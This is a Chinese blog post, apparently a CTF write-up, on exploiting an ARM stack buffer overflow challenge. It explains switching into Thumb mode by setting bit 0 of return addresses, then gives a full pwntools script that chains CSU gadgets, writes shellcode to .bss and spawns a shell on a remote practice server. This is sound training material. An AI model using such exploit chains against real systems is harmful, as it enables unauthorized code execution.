(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic

161 篇文章 9 订阅
161 篇文章 9 订阅

(ARM PWN里的thumb模式和arm模式的切换)root_me_stack_buffer_overflow_basic

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,栈溢出漏洞

在CSU里面有可以利用的gadget,但是直接ret过去,会报invalid instrument错误。

这是由于在csu这里的指令是thumb指令,需要将cpu工作状态转移到thumb指令状态才可以执行。标记ARM状态是用CPSR寄存器中的标志位T,

BX指令可以设置T位,当BX后面的地址值最后一个bit为1时,则将T置位,cpu工作在thumb模式,如果bit为0,则为arm模式。同理,直接ret也具有这个特性,因此,只需要在确保目的地址值的最后一个bit为1,既可以切换到thumb模式,来执行csu的gadget。

#coding:utf8
from pwn import *

context(os='linux',arch='arm')

elf = ELF('./root_me_stack_buffer_overflow_basic')
scanf_got = elf.got['scanf']
bss = 0x00021008 + 0x100
csu_pop = 0x00010610
csu_call = 0x000105FE
#sh = process(argv=['qemu-arm','-L','/home/sea/arm_pwn/arm-libs','./root_me_stack_buffer_overflow_basic'])
#sh = process(argv=['qemu-arm','-g','1234','-L','/home/sea/arm_pwn/arm-libs','./root_me_stack_buffer_overflow_basic'])

sh = remote('node3.buuoj.cn',29902)
payload = 'a'*0xA4 + p32(csu_pop + 1) #切换到Thumb模式,bit0 = 1
payload += p32(0) #R5
payload += p32(0) #R4
payload += p32(scanf_got) #R5
payload += p32(1) #R6
payload += p32(0x00010644) #R7
payload += p32(bss) #R8
payload += p32(0) #R9
payload += p32(csu_call + 1) #Thumb模式,bit0 = 1

payload += p32(0)*0x7
payload += p32(bss) #执行shellcode

sh.sendlineafter('dump:',payload)
sh.sendlineafter('Dump again (y/n):','n')
sh.sendline(asm(shellcraft.sh()))

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值